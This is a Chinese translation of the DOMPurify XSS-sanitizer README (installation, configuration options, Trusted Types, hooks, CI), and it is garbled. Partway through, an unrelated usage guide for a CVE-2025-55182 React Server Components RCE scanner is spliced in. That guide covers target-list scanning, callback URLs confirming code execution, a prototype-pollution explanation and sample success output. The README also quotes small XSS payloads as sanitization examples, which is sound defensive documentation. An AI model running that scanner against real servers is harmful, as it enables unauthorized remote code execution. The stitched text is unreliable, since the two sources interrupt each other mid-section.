
DOMPurify v3.4.15
DOMPurify —— 一个仅基于 DOM、超快、高容错的 XSS 过滤器,适用于 HTML、MathML 和 SVG。DOMPurify 默认安全,但提供大量可配置项和钩子。演示:
DOMPurify
DOMPurify 是一款仅基于 DOM、速度极快、极其宽容的 XSS 清理器,适用于 HTML、MathML 和 SVG。
它也非常简单易用,上手很快。DOMPurify 始于 2014 年 2 月,如今已发展到 v3.4.15 版本。
DOMPurify 以 JavaScript 运行,适用于所有现代浏览器(Safari (10+)、Opera (15+)、Edge、Firefox 和 Chrome——以及几乎所有使用 Blink、Gecko 或 WebKit 的其他浏览器)。它在 MSIE 或其他旧版浏览器上不会出错,只是什么都不做。
请注意,DOMPurify v2.5.9 是最后一个支持 MSIE 的版本。如需与 MSIE 兼容的重要安全更新,请使用 2.x 分支。
我们的自动化测试在每次推送时覆盖当前引擎(Ubuntu、macOS 和 Windows 上的 Chromium、Firefox 和 WebKit)上的 9 种浏览器/操作系统组合,并且另有一个矩阵在较旧的引擎快照(大约可追溯到 Chromium 110、Firefox 108 和 WebKit 16.4,约三年前)上重新运行测试套件,以便也能捕获过时浏览器上的回归问题。我们还在 jsdom 上使用 Node.js v20、v22、v24、v25 和 v26 运行 DOMPurify。已知较旧的 Node 版本也能正常工作,但是嘛……不保证。
DOMPurify 由在 Web 攻击和 XSS 方面拥有深厚背景的安全人员编写。无需担心。更多详情,请阅读我们的安全目标与威胁模型。请阅读它。真的,请务必阅读。如果你喜欢那些血腥细节,攻击类别与绕过历史页面记录了 DOMPurify 防御的解析器变异、命名空间、覆盖和模板技巧。
DOMPurify 项目启发了 HTML Sanitizer API 的创建,该 API 已在许多浏览器中发布。同样的能力现在正直接在 WHATWG HTML 规范中进行标准化。
目录
- 它有什么作用?
- 我如何使用它?
- 有演示吗?
- 如果我发现了安全漏洞怎么办?
- 能给一些净化示例吗?
- 支持哪些内容?
- 像 Internet Explorer 这样的旧版浏览器怎么办?
- DOMPurify 和 Trusted Types 呢?
- 我可以配置 DOMPurify 吗?
- 持久化配置
- 钩子
- 已移除的配置
- 持续集成
- 安全邮件列表
- 谁做出了贡献?
它有什么作用?
DOMPurify 净化 HTML 并防止 XSS 攻击。你可以向 DOMPurify 传入例如一个充满脏 HTML 的字符串,它会返回一个干净 HTML 的字符串(除非另有配置)。DOMPurify 会剥离所有包含危险 HTML 的内容,从而防止 XSS 攻击和其他恶意行为。它还快得惊人。我们利用浏览器提供的技术,将它们转化为 XSS 过滤器。你的浏览器越快,DOMPurify 就越快。
我如何使用它?
很简单。只需在你的网站上引入 DOMPurify。
使用未压缩版本(提供 source-map)```html
### 使用经过压缩和测试的生产版本(提供 source-map)```html
<script type="text/javascript" src="dist/purify.min.js"></script>
之后,你可以通过执行以下代码来清理字符串:```js const clean = DOMPurify.sanitize(dirty);
或者,如果你喜欢使用 Angular 或类似框架,也许这个:```js
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize('<b>hello there</b>');
生成的 HTML 可以使用 innerHTML 写入 DOM 元素,或使用 document.write() 写入 DOM。这完全由你决定。
请注意,默认情况下,我们允许 HTML、SVG 和 MathML。如果你只需要 HTML(这可能是一个非常常见的用例),你也可以轻松地进行如下设置:```js
const clean = DOMPurify.sanitize(dirty, { USE_PROFILES: { html: true } });
### 是否存在潜在陷阱?
请注意,如果你_先_清理 HTML,_然后_再修改它,很容易**使清理效果失效**。如果你在清理后将清理过的标记提供给另一个库,请确保该库不会自行处理 HTML。请参阅[安全目标与威胁模型](https://github.com/cure53/DOMPurify/wiki/Security-Goals-&-Threat-Model)了解安全使用方法和需要三思的标签/属性,以及[攻击类别与绕过历史](https://github.com/cure53/DOMPurify/wiki/Attack-Classes-&-Bypass-History)了解为什么后处理和更改标记上下文会破坏清理效果。
### 好的,有道理,继续吧
清理标记后,你还可以查看 `DOMPurify.removed` 属性,了解哪些元素和属性被移除了。请**不要使用**此属性来做任何安全关键决策。这只是一个满足好奇心的小工具。
### 在服务器上运行 DOMPurify
DOMPurify 在技术上也可以配合 Node.js 在服务端运行。我们的支持力求遵循 [Node.js 发布周期](https://nodejs.org/en/about/previous-releases)。
在服务器上运行 DOMPurify 需要存在 DOM,这大概不会让人意外。通常,[jsdom](https://github.com/jsdom/jsdom) 是首选工具,我们**强烈建议**使用最新版本的 _jsdom_。
为什么?因为已知旧版本的 _jsdom_ 存在缺陷,_即使_ DOMPurify 100% 正确执行所有操作,也会导致 XSS。例如,_jsdom v19.0.0_ 中存在**已知攻击向量**,这些在 _jsdom v20.0.0_ 中已修复——因此我们真的建议保持 _jsdom_ 更新。
另请注意,虽然存在 [happy-dom](https://github.com/capricorn86/happy-dom) 等工具,但目前**不被认为安全**。目前不建议将 DOMPurify 与 _happy-dom_ 结合使用,这很可能导致 XSS。关于为什么你选择的服务端 DOM 是你可信计算基的一部分的背景信息,请参阅[攻击类别与绕过历史](https://github.com/cure53/DOMPurify/wiki/Attack-Classes-&-Bypass-History)。
除此之外,你可以在服务器上使用 DOMPurify。大概吧。这实际上取决于 _jsdom_ 或你在服务端使用的任何 DOM。如果你能接受这一点,以下是如何让它工作的方法:```bash
npm install dompurify
npm install jsdom
对于 jsdom(请使用最新版本),这应该可以解决问题:```js const createDOMPurify = require('dompurify'); const { JSDOM } = require('jsdom');
const window = new JSDOM('').window; const DOMPurify = createDOMPurify(window); const clean = DOMPurify.sanitize('hello there');
或者,如果你更喜欢使用导入方式,也可以这样:```js
import { JSDOM } from 'jsdom';
import DOMPurify from 'dompurify';
const window = new JSDOM('').window;
const purify = DOMPurify(window);
const clean = purify.sanitize('<b>hello there</b>');
如果你在特定环境中遇到问题,可以考虑查看出色的 isomorphic-dompurify 项目,它解决了许多人可能遇到的问题。```bash npm install isomorphic-dompurify
## 使用示例
### 1. 基本用法
```bash
# 扫描单个目标
python3 CVE-2025-55182.py -u http://target.com
# 扫描多个目标
python3 CVE-2025-55182.py -f targets.txt
# 使用自定义回调域名
python3 CVE-2025-55182.py -u http://target.com -c your-domain.com
# 使用自定义回调 URL
python3 CVE-2025-55182.py -u http://target.com -r http://your-server.com/callback
2. 高级用法
# 使用代理
python3 CVE-2025-55182.py -u http://target.com -p http://127.0.0.1:8080
# 调整超时和线程数
python3 CVE-2025-55182.py -f targets.txt -t 20 --timeout 15
# 详细输出
python3 CVE-2025-55182.py -u http://target.com -v
# 保存结果
python3 CVE-2025-55182.py -f targets.txt -o results.txt
3. 目标文件格式
http://target1.com
https://target2.com:3000
http://target3.com:8080
工作原理
该工具利用了 React Server Components 中 decodeAction 函数的一个原型污染漏洞:
- 漏洞检测:发送一个带有
Next-Action头的特制请求 - 原型污染:利用
decodeAction中的不安全反序列化 - RCE 触发:通过污染的原型链执行任意代码
- 回调验证:通过 DNS/HTTP 回调确认利用成功
技术细节
该漏洞存在于 React Server Components 的 decodeAction 函数中,该函数在处理序列化数据时未能正确验证输入,导致攻击者可以污染 JavaScript 对象的原型链。
// 易受攻击的代码模式
function decodeAction(data) {
const parsed = JSON.parse(data);
// 缺少原型污染防护
return Object.assign({}, parsed);
}
检测能力
- ✅ 检测 React Server Components 端点
- ✅ 识别易受攻击的 Next.js 版本
- ✅ 通过 DNS 回调验证 RCE
- ✅ 支持批量扫描
- ✅ 代理支持
- ✅ 自定义回调服务器
输出示例
[+] 目标: http://target.com
[+] 检测到 Next.js 应用
[+] 版本: 15.0.0
[+] 存在漏洞: CVE-2025-55182
[+] 已发送回调: http://your-server.com/callback
[+] RCE 验证成功!
免责声明
本工具仅供教育和授权安全测试目的使用。未经授权访问计算机系统是违法的。使用者有责任遵守所有适用的法律法规。作者对任何滥用或由此造成的损害不承担责任。```js import DOMPurify from 'isomorphic-dompurify';
const clean = DOMPurify.sanitize('hello');
## 有演示吗?
当然有演示
## 如果我发现了安全漏洞怎么办?
首先,请立即通过[电子邮件](mailto:[email protected])联系我们,以便我们着手修复。[PGP 密钥](https://keyserver.ubuntu.com/pks/lookup?op=vindex&search=0xC26C858090F70ADA)
此外,你很可能有资格获得漏洞赏金 的优秀团队在其服务中使用了 DOMPurify,并将我们的库纳入了他们的漏洞赏金范围。因此,如果你找到了绕过或削弱 DOMPurify 的方法,也请查看他们的网站和[漏洞赏金信息](https://www.fastmail.com/about/bugbounty/)。
## 能给一些净化示例吗?
净化后的标记是什么样的?嗯,[演示](https://cure53.de/purify)展示了一大堆恶意元素的效果。不过,我们也来展示一些更小的示例吧!```js
DOMPurify.sanitize(''); // becomes <img src="https://raw.githubusercontent.com/cure53/dompurify/main/x">
DOMPurify.sanitize('<svg><g/onload=alert(2)//<p>'); // becomes <svg><g></g></svg>
DOMPurify.sanitize('<p>abcdef</p>'); // becomes <p>abc</p>
DOMPurify.sanitize('<math><mi//xlink:href="data:x,<script>alert(4)</script>">'); // becomes <math><mi></mi></math>
DOMPurify.sanitize('<TABLE><tr><td>HELLO</tr></TABL>'); // becomes <table><tbody><tr><td>HELLO</td></tr></tbody></table>
DOMPurify.sanitize('<UL><li><A HREF=//google.com>click</UL>'); // becomes <ul><li><a href="//google.com">click</a></li></ul>
这些只是冰山一角。关于这些样本所来源的攻击类别的完整分类——变异 XSS、命名空间混淆、DOM clobbering、rawtext 突破等等——请参阅 攻击类别与绕过历史。
支持哪些内容?
DOMPurify 目前支持 HTML5、SVG 和 MathML。DOMPurify 默认允许 CSS、HTML 自定义数据属性。DOMPurify 还支持 Shadow DOM——并递归地对 DOM 模板进行净化。DOMPurify 还允许你对 HTML 进行净化,以便与 jQuery 的 $() 和 elm.html() API 一起使用,而不会出现任何已知问题。关于默认允许的确切元素和属性集合,请参阅 默认 TAG 与 ATTRIBUTE 允许列表与阻止列表 wiki 页面。
像 Internet Explorer 这样的旧版浏览器怎么办?
DOMPurify 完全不做任何事。它只是原样返回你传入的字符串。DOMPurify 暴露了一个名为 isSupported 的属性,它会告诉你它是否能够完成其工作,这样你就可以制定自己的备用方案。
DOMPurify 和 Trusted Types 呢?
在 1.0.9 版本中,DOMPurify 添加了对 Trusted Types API(MDN)的支持。 在 2.0.0 版本中,添加了一个配置标志来控制 DOMPurify 在这方面的行为。
当在 Trusted Types API 可用的环境中使用 DOMPurify.sanitize 且 RETURN_TRUSTED_TYPE 设置为 true 时,它会尝试返回 TrustedHTML 值而不是字符串(RETURN_DOM 和 RETURN_DOM_FRAGMENT 配置选项的行为不变)。
请注意,为了使用 DOMPurify 在 trustedTypes 中创建策略,需要设置 RETURN_TRUSTED_TYPE: false,因为 createHTML 期望的是普通字符串,而不是 TrustedHTML。下面的示例展示了这一点。```js
window.trustedTypes.createPolicy('default', {
createHTML: (to_escape) =>
DOMPurify.sanitize(to_escape, { RETURN_TRUSTED_TYPE: false }),
});
当未提供 `TRUSTED_TYPES_POLICY` 时,DOMPurify 会尝试创建其内部名为 `dompurify` 的 Trusted Types 策略。如果你的页面已经定义了自己的策略,并配合严格的 CSP(例如 `trusted-types my-organization`),且该 CSP 不允许名为 `dompurify` 的策略,则此尝试会被浏览器阻止,并记录一条 `TrustedTypes policy dompurify could not be created.` 警告以及 CSP 违规。
要阻止 DOMPurify 创建其内部回退策略,请传入 `TRUSTED_TYPES_POLICY: null`。当你从自己的策略的 `createHTML` 内部调用 `DOMPurify.sanitize` 时,这是正确的选择,这意味着你不必把 `dompurify` 添加到 CSP 的 `trusted-types` 允许列表中。```js
window.trustedTypes.createPolicy('my-organization', {
createHTML: (input) =>
DOMPurify.sanitize(input, { TRUSTED_TYPES_POLICY: null }),
});
不要将你自己的包装策略作为 TRUSTED_TYPES_POLICY 传回给 DOMPurify(例如通过 DOMPurify.setConfig({ TRUSTED_TYPES_POLICY: myPolicy })),当该策略的 createHTML 已经调用了 DOMPurify.sanitize 时。从定义上讲这是循环的——净化会调用该策略,而该策略又通过再次调用 DOMPurify 来进行净化——DOMPurify 会抛出一个描述性的 TypeError 以防止无限递归。你自己的策略应该调用 DOMPurify;DOMPurify 不应被配置为调用你的策略。
如果你希望这种 default 策略模式自动应用于整个页面——这样每个 HTML 接收点都会被净化,包括遗留代码、第三方组件,以及成千上万你无法轻易找到或重写的 innerHTML 赋值——请查看 DOMFortify。它安装的正是这样一个由 DOMPurify 支持的 Trusted Types default 策略,并直接拒绝脚本接收点(eval、script.src、……)。这是一个刻意独立的项目:DOMPurify 保持为一个专注的净化器,而 DOMFortify 处理文档范围的强制执行层,这有意地超出了 DOMPurify 的范围。
我可以配置 DOMPurify 吗?
可以。包含的默认配置值已经相当不错——但你当然可以覆盖它们。查看 /demos 文件夹,了解如何自定义 DOMPurify 的大量示例。
在你扩大允许列表(ADD_TAGS、ADD_ATTR、CUSTOM_ELEMENT_HANDLING、……)或放宽默认值之前,值得浏览一下需要三思的标签和属性——其中一些以不明显的方式存在危险。
常规设置```js
// strip {{ ... }}, ${ ... } and <% ... %> to make output safe for template systems // be careful please, this mode is not recommended for production usage. // allowing template parsing in user-controlled HTML is not advised at all. // only use this mode if there is really no alternative. const clean = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true });
// change how e.g. comments containing risky HTML characters are treated.
// be very careful, this setting should only be set to false if you really only handle
// HTML and nothing else, no SVG, MathML or the like.
// Otherwise, changing from true to false will lead to XSS in this or some other way.
const clean = DOMPurify.sanitize(dirty, { SAFE_FOR_XML: false });
### 控制我们的允许列表和阻止列表```js
// allow only <b> elements, very strict
const clean = DOMPurify.sanitize(dirty, { ALLOWED_TAGS: ['b'] });
// allow only <b> and <q> with style attributes
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'q'],
ALLOWED_ATTR: ['style'],
});
// allow all safe HTML elements but neither SVG nor MathML
// note that the USE_PROFILES setting will override the ALLOWED_TAGS setting
// so don't use them together
const clean = DOMPurify.sanitize(dirty, { USE_PROFILES: { html: true } });
// allow all safe SVG elements and SVG Filters, no HTML or MathML
const clean = DOMPurify.sanitize(dirty, {
USE_PROFILES: { svg: true, svgFilters: true },
});
// allow all safe MathML elements and SVG, but no SVG Filters
const clean = DOMPurify.sanitize(dirty, {
USE_PROFILES: { mathMl: true, svg: true },
});
// change the default namespace from HTML to something different
const clean = DOMPurify.sanitize(dirty, {
NAMESPACE: 'http://www.w3.org/2000/svg',
});
// leave all safe HTML as it is and add <style> elements to block-list
const clean = DOMPurify.sanitize(dirty, { FORBID_TAGS: ['style'] });
// leave all safe HTML as it is and add style attributes to block-list
const clean = DOMPurify.sanitize(dirty, { FORBID_ATTR: ['style'] });
// extend the existing array of allowed tags and add <my-tag> to allow-list
const clean = DOMPurify.sanitize(dirty, { ADD_TAGS: ['my-tag'] });
// extend the existing array of allowed attributes and add my-attr to allow-list
const clean = DOMPurify.sanitize(dirty, { ADD_ATTR: ['my-attr'] });
// use functions to control which additional tags and attributes are allowed
const allowlist = {
one: ['attribute-one'],
two: ['attribute-two'],
};
const clean = DOMPurify.sanitize(
'<one attribute-one="1" attribute-two="2"></one><two attribute-one="1" attribute-two="2"></two>',
{
ADD_TAGS: (tagName) => {
return Object.keys(allowlist).includes(tagName);
},
ADD_ATTR: (attributeName, tagName) => {
return allowlist[tagName]?.includes(attributeName) || false;
},
}
); // <one attribute-one="1"></one><two attribute-two="2"></two>
// prohibit ARIA attributes, leave other safe HTML as is (default is true)
const clean = DOMPurify.sanitize(dirty, { ALLOW_ARIA_ATTR: false });
// prohibit HTML5 data attributes, leave other safe HTML as is (default is true)
const clean = DOMPurify.sanitize(dirty, { ALLOW_DATA_ATTR: false });
与自定义元素相关的控制行为```js
// DOMPurify allows to define rules for Custom Elements. When using the CUSTOM_ELEMENT_HANDLING // literal, it is possible to define exactly what elements you wish to allow (by default, none are allowed). // // The same goes for their attributes. By default, the built-in or configured allow.list is used. // // You can use a RegExp literal to specify what is allowed or a predicate, examples for both can be seen below. // When using a predicate function for attributeNameCheck, it can optionally receive the tagName as a second parameter // for more granular control over which attributes are allowed for specific elements. // The default values are very restrictive to prevent accidental XSS bypasses. Handle with great care!
const clean = DOMPurify.sanitize( '
', { CUSTOM_ELEMENT_HANDLING: { tagNameCheck: null, // no custom elements are allowed attributeNameCheck: null, // default / standard attribute allow-list is used allowCustomizedBuiltInElements: false, // no customized built-ins allowed }, } ); //const clean = DOMPurify.sanitize( '
', { CUSTOM_ELEMENT_HANDLING: { tagNameCheck: /^foo-/, // allow all tags starting with "foo-" attributeNameCheck: /baz/, // allow all attributes containing "baz" allowCustomizedBuiltInElements: true, // customized built-ins are allowed }, } ); //const clean = DOMPurify.sanitize( '
', { CUSTOM_ELEMENT_HANDLING: { tagNameCheck: (tagName) => tagName.match(/^foo-/), // allow all tags starting with "foo-" attributeNameCheck: (attr) => attr.match(/baz/), // allow all containing "baz" allowCustomizedBuiltInElements: true, // allow customized built-ins }, } ); //// Example with attributeNameCheck receiving tagName as a second parameter const clean = DOMPurify.sanitize( '', { CUSTOM_ELEMENT_HANDLING: { tagNameCheck: (tagName) => tagName.match(/^element-(one|two)$/), attributeNameCheck: (attr, tagName) => { if (tagName === 'element-one') { return ['attribute-one'].includes(attr); } else if (tagName === 'element-two') { return ['attribute-two'].includes(attr); } else { return false; } }, allowCustomizedBuiltInElements: false, }, } ); //
### 与 URI 值相关的控制行为```js
// extend the existing array of elements that can use Data URIs
const clean = DOMPurify.sanitize(dirty, { ADD_DATA_URI_TAGS: ['a', 'area'] });
// extend the existing array of elements that are safe for URI-like values (be careful, XSS risk)
const clean = DOMPurify.sanitize(dirty, { ADD_URI_SAFE_ATTR: ['my-attr'] });
控制允许的属性值```js
// allow external protocol handlers in URL attributes (default is false, be careful, XSS risk) // by default only http, https, ftp, ftps, tel, mailto, callto, sms, cid, xmpp and matrix are allowed. const clean = DOMPurify.sanitize(dirty, { ALLOW_UNKNOWN_PROTOCOLS: true });
// allow specific protocol handlers in URL attributes via regex (default is false, be careful, XSS risk) // by default only (protocol-)relative URLs, http, https, ftp, ftps, tel, mailto, callto, sms, cid, xmpp and matrix are allowed. // Default RegExp: /^(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms|cid|xmpp):|[^a-z]|[a-z+.-]+(?:[^a-z+.-:]|$))/i; const clean = DOMPurify.sanitize(dirty, { ALLOWED_URI_REGEXP: /^(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms|cid|xmpp|matrix):|[^a-z]|[a-z+.-]+(?:[^a-z+.-:]|$))/i, });
### 影响返回类型```js
// return a DOM HTMLBodyElement instead of an HTML string (default is false)
const clean = DOMPurify.sanitize(dirty, { RETURN_DOM: true });
// return a DOM DocumentFragment instead of an HTML string (default is false)
const clean = DOMPurify.sanitize(dirty, { RETURN_DOM_FRAGMENT: true });
// use the RETURN_TRUSTED_TYPE flag to turn on Trusted Types support if available
const clean = DOMPurify.sanitize(dirty, { RETURN_TRUSTED_TYPE: true }); // will return a TrustedHTML object instead of a string if possible
// use a provided Trusted Types policy
const clean = DOMPurify.sanitize(dirty, {
// supplied policy must define createHTML and createScriptURL
TRUSTED_TYPES_POLICY: trustedTypes.createPolicy('dompurify', {
createHTML(s) {
return s;
},
createScriptURL(s) {
return s;
},
}),
});
// opt out of DOMPurify's internal `dompurify` Trusted Types policy entirely
// (useful when your CSP `trusted-types` allowlist does not include `dompurify`)
const clean = DOMPurify.sanitize(dirty, { TRUSTED_TYPES_POLICY: null });
影响我们的清理方式```js
// return entire document including tags (default is false) const clean = DOMPurify.sanitize(dirty, { WHOLE_DOCUMENT: true });
// disable DOM Clobbering protection on output (default is true, handle with care, minor XSS risks here) const clean = DOMPurify.sanitize(dirty, { SANITIZE_DOM: false });
// enforce strict DOM Clobbering protection via namespace isolation (default is false)
// when enabled, isolates the namespace of named properties (i.e., id and name attributes)
// from JS variables by prefixing them with the string user-content-
const clean = DOMPurify.sanitize(dirty, { SANITIZE_NAMED_PROPS: true });
// keep an element's content when the element is removed (default is true) const clean = DOMPurify.sanitize(dirty, { KEEP_CONTENT: false });
// glue elements like style, script or others to document.body and prevent unintuitive browser behavior in several edge-cases (default is false) const clean = DOMPurify.sanitize(dirty, { FORCE_BODY: true });
// remove all elements under
// extend the default FORBID_CONTENTS list to also remove elements under
// change the parser type so sanitized data is treated as XML and not as HTML, which is the default const clean = DOMPurify.sanitize(dirty, { PARSER_MEDIA_TYPE: 'application/xhtml+xml', });
### 我们进行清理时的影响```js
// use the IN_PLACE mode to sanitize a node "in place", which is much faster depending on how you use DOMPurify
const dirty = document.createElement('a');
dirty.setAttribute('href', 'javascript:alert(1)');
const clean = DOMPurify.sanitize(dirty, { IN_PLACE: true }); // see https://github.com/cure53/DOMPurify/issues/288 for more info
这里还有更多示例,展示了如何运行、自定义和配置 DOMPurify 以满足你的需求。
持久化配置
与其反复向 DOMPurify.sanitize 传递相同的配置,你可以使用 DOMPurify.setConfig 方法。你的配置将持续生效,直到你下次调用 DOMPurify.setConfig,或者调用 DOMPurify.clearConfig 将其重置。请记住,只有一个活动配置,这意味着一旦设置,传递给 DOMPurify.sanitize 的所有额外配置参数都会被忽略。
钩子
DOMPurify 允许你通过 DOMPurify.addHook 方法将一个或多个函数附加到以下钩子之一,从而增强其功能:
beforeSanitizeElementsuponSanitizeElement(没有 's' - 对每个元素调用)afterSanitizeElementsbeforeSanitizeAttributesuponSanitizeAttributeafterSanitizeAttributesbeforeSanitizeShadowDOMuponSanitizeShadowNodeafterSanitizeShadowDOM
它会在需要时将当前处理的 DOM 节点、包含已验证节点和属性数据的字面量以及 DOMPurify 配置传递给回调函数。查看 MentalJS 钩子演示 了解如何优雅地使用该 API。
示例:```js DOMPurify.addHook( 'uponSanitizeAttribute', function (currentNode, hookEvent, config) { // Do something with the current node // You can also mutate hookEvent for current node (i.e. set hookEvent.forceKeepAttr = true) // For other than 'uponSanitizeAttribute' hook types hookEvent equals to null } );
### 关于从钩子中调用 `sanitize()` 的说明
**`DOMPurify.sanitize()` 不可重入。** 请不要在钩子内部调用它,也不要在诸如 `CUSTOM_ELEMENT_HANDLING.tagNameCheck` 或 `attributeNameCheck` 之类的配置回调中调用它。这些回调运行在活动清理过程的_中间_。
嵌套的 `sanitize()` 调用会重新读取传递给它的配置,并在此过程中**替换外层过程仍在使用的配置**。随后,外层文档的其余部分将按照嵌套调用的配置而非你的配置进行清理。由于嵌套调用通常使用默认配置运行,严格的 `ALLOWED_TAGS` 允许列表可能会在文档处理到一半时悄无声息地放宽回默认配置,且不会产生任何错误或警告。
如果你需要清理嵌套标记,例如属性值中携带的 HTML 片段,你有两个安全选项。要么使用 [`DOMPurify.setConfig`](#persistent-configuration) 一次性设置配置,而不是每次调用时传递配置,因为持久配置会被嵌套调用共享,并在整个过程中保持生效;要么在钩子期间收集这些片段,并在外层调用返回_之后_用单独的 `sanitize()` 调用清理它们。
## 已移除的配置
| 选项 | 起始版本 | 说明 |
| --------------- | -------- | ------------------------ |
| SAFE_FOR_JQUERY | 2.1.0 | 无需替代方案。 |
## 持续集成
我们目前使用 GitHub Actions 结合 Playwright。这使我们能够在每次提交时确认一切在相关的现代浏览器中正常工作,并且一个单独的定时和合并时工作流会在较旧的引擎快照上重新运行测试套件,从而也能捕获过时浏览器上的故障。在此查看构建日志:https://github.com/cure53/DOMPurify/actions
你还可以通过执行 `npm run test` 进一步运行本地测试。
所有相关提交都将使用密钥 `0x24BB6BF4` 进行签名以增强安全性(自 2016 年 4 月 8 日起)。
### 开发与贡献
#### 安装(`npm i`)
我们正式支持 `npm`。GitHub Actions 工作流配置为使用 `npm` 安装依赖。当使用已弃用版本的 `npm` 时,我们无法完全确保所安装依赖的版本,这可能会导致意外问题。
#### 脚本
我们在预提交工作流中使用通过 `xo` 运行的 ESLint 来帮助确保代码一致性。此外,我们使用 [Prettier](https://github.com/prettier/prettier) 进行源代码和 Markdown 格式化,`/dist` 资源通过 `rollup` 构建。
以下是我们的 npm 脚本:
- `npm run dev` 构建未压缩的 UMD 包,同时监视源文件变化
- `npm run test` 对源代码进行 lint,通过 jsdom 运行测试,并通过 Playwright 在 Chromium 中运行浏览器测试
- `npm run test:jsdom` 仅通过 jsdom 运行测试
- `npm run test:happydom` 通过 happy-dom 运行测试套件(不受支持的环境;作为健壮性检查保留,而非兼容性承诺)
- `npm run test:browser` 仅通过 Playwright 运行测试
- `npm run test:browser:legacy` 在较旧的浏览器引擎上运行测试套件(将 `PW_MODULE` 指向一个固定版本的旧 Playwright 安装;参见 `.github/workflows/legacy-browsers.yml`)
- `npm run test:ci` 运行 jsdom 和 Playwright 的 CI 测试流程
- `npm run test:fuzz` 运行一个覆盖 `sanitize()` 和 CONFIG 的小型模糊测试器
- `npm run bench` 对构建后的 `dist/purify.cjs` 运行 jsdom 微基准测试(需先构建;`--json` 和 `--compare a.json b.json` 支持跨分支的 A/B 运行——结果仅供参考,请在真实浏览器中确认面向用户的声明)
- `npm run coverage` 构建插桩包,运行 jsdom 测试套件,并将本地 HTML 行/分支覆盖率报告写入 `coverage/index.html`(仅限 jsdom 范围,不在 CI 中运行)
- `npm run build:cov` 仅构建插桩覆盖率包
- `npm run lint` 使用通过 xo 运行的 ESLint 对源代码进行 lint
- `npm run format` 使用 Prettier 格式化 JavaScript/TypeScript 和 Markdown 源文件
- `npm run format:js` 仅格式化 JavaScript/TypeScript 源文件
- `npm run format:md` 仅格式化 Markdown 文件
- `npm run build` 构建类型声明和分发包,然后修复并清理生成的类型
- `npm run build:types` 仅生成 TypeScript 声明文件
- `npm run build:rollup` 构建所有 Rollup 包
- `npm run build:umd` 仅构建未压缩的 UMD 包
- `npm run build:umd:min` 仅构建压缩的 UMD 包
- `npm run build:es` 仅构建 ES 模块包
- `npm run build:cjs` 仅构建 CommonJS 包
- `npm run build:fix-types` 后处理生成的类型文件
- `npm run build:cleanup` 清理临时生成的类型输出
- `npm run verify-typescript` 运行 TypeScript 验证脚本
- `npm run commit-amend-build` 运行维护者辅助脚本以修正构建输出
注意:所有运行脚本均通过 `npm run <script>` 触发。
还有更多的 npm 脚本,但它们主要用于与 CI 集成,或者是“私有的”,例如在每次提交时修正构建分发文件。
## 安全邮件列表
我们维护一个邮件列表,每当 DOMPurify 发布**安全关键**版本时都会通知。这意味着,如果有人发现了绕过方法并且我们通过发布修复了它(当发现绕过方法时总是如此),就会向该列表发送邮件。这通常在得知绕过方法后的几分钟或几小时内发生。可以在此处订阅该列表:
[https://lists.ruhr-uni-bochum.de/mailman/listinfo/dompurify-security](https://lists.ruhr-uni-bochum.de/mailman/listinfo/dompurify-security)
功能版本不会在此列表中公布。
## 谁做出了贡献?
许多人帮助 DOMPurify 成为今天的样子,他们值得被认可!
[gnyselcuk](https://github.com/gnyselcuk), [leechristensen](https://github.com/leechristensen),[offset](https://github.com/offset), [Bankde](https://github.com/Bankde), [lukewarlow](https://github.com/lukewarlow), [DEMON1A](https://github.com/DEMON1A), [fg0x0](https://github.com/fg0x0), [kodareef5](https://github.com/kodareef5), [DavidOliver](https://github.com/DavidOliver), [1Jesper1](https://github.com/1Jesper1), [bencalif](https://github.com/bencalif), [trace37labs](https://github.com/trace37labs), [eddieran](https://github.com/eddieran), [christos-eth](https://github.com/christos-eth), [researchatfluidattacks](https://github.com/researchatfluidattacks), [frevadiscor](https://github.com/frevadiscor), [Rotzbua](https://github.com/Rotzbua), [binhpv](https://github.com/binhpv), [MariusRumpf](https://github.com/MariusRumpf), [prasadrajandran](https://github.com/prasadrajandran), [Cybozu 💛💸](https://github.com/cybozu), [hata6502 💸](https://github.com/hata6502), [openclaw 💸](https://github.com/openclaw), [intra-mart-dh 💸](https://github.com/intra-mart-dh), [nelstrom ❤️](https://github.com/nelstrom), [hash_kitten ❤️](https://twitter.com/hash_kitten), [kevin_mizu ❤️](https://twitter.com/kevin_mizu), [icesfont ❤️](https://github.com/icesfont), [reduckted ❤️](https://github.com/reduckted), [dcramer 💸](https://github.com/dcramer), [JGraph 💸](https://github.com/jgraph), [baekilda 💸](https://github.com/baekilda), [Healthchecks 💸](https://github.com/healthchecks), [Sentry 💸](https://github.com/getsentry), [jarrodldavis 💸](https://github.com/jarrodldavis), [CynegeticIO](https://github.com/CynegeticIO), [ssi02014 ❤️](https://github.com/ssi02014), [GrantGryczan](https://github.com/GrantGryczan), [Lowdefy](https://twitter.com/lowdefy), [granlem](https://twitter.com/MaximeVeit), [oreoshake](https://github.com/oreoshake), [tdeekens ❤️](https://github.com/tdeekens), [peernohell ❤️](https://github.com/peernohell), [is2ei](https://github.com/is2ei), [SoheilKhodayari](https://github.com/SoheilKhodayari), [franktopel](https://github.com/franktopel), [NateScarlet](https://github.com/NateScarlet), [neilj](https://github.com/neilj), [fhemberger](https://github.com/fhemberger), [Joris-van-der-Wel](https://github.com/Joris-van-der-Wel), [ydaniv](https://github.com/ydaniv), [terjanq](https://twitter.com/terjanq), [filedescriptor](https://github.com/filedescriptor), [ConradIrwin](https://github.com/ConradIrwin), [gibson042](https://github.com/gibson042), [choumx](https://github.com/choumx), [0xSobky](https://github.com/0xSobky), [styfle](https://github.com/styfle), [koto](https://github.com/koto), [tlau88](https://github.com/tlau88), [strugee](https://github.com/strugee), [oparoz](https://github.com/oparoz), [mathiasbynens](https://github.com/mathiasbynens), [edg2s](https://github.com/edg2s), [dnkolegov](https://github.com/dnkolegov), [dhardtke](https://github.com/dhardtke), [wirehead](https://github.com/wirehead), [thorn0](https://github.com/thorn0), [styu](https://github.com/styu), [mozfreddyb ❤️](https://github.com/mozfreddyb), [mikesamuel](https://github.com/mikesamuel), [jorangreef](https://github.com/jorangreef), [jimmyhchan](https://github.com/jimmyhchan), [jameydeorio](https://github.com/jameydeorio), [jameskraus](https://github.com/jameskraus), [hyderali](https://github.com/hyderali), [hansottowirtz](https://github.com/hansottowirtz), [hackvertor](https://github.com/hackvertor), [freddyb](https://github.com/freddyb), [flavorjones](https://github.com/flavorjones), [djfarrelly](https://github.com/djfarrelly), 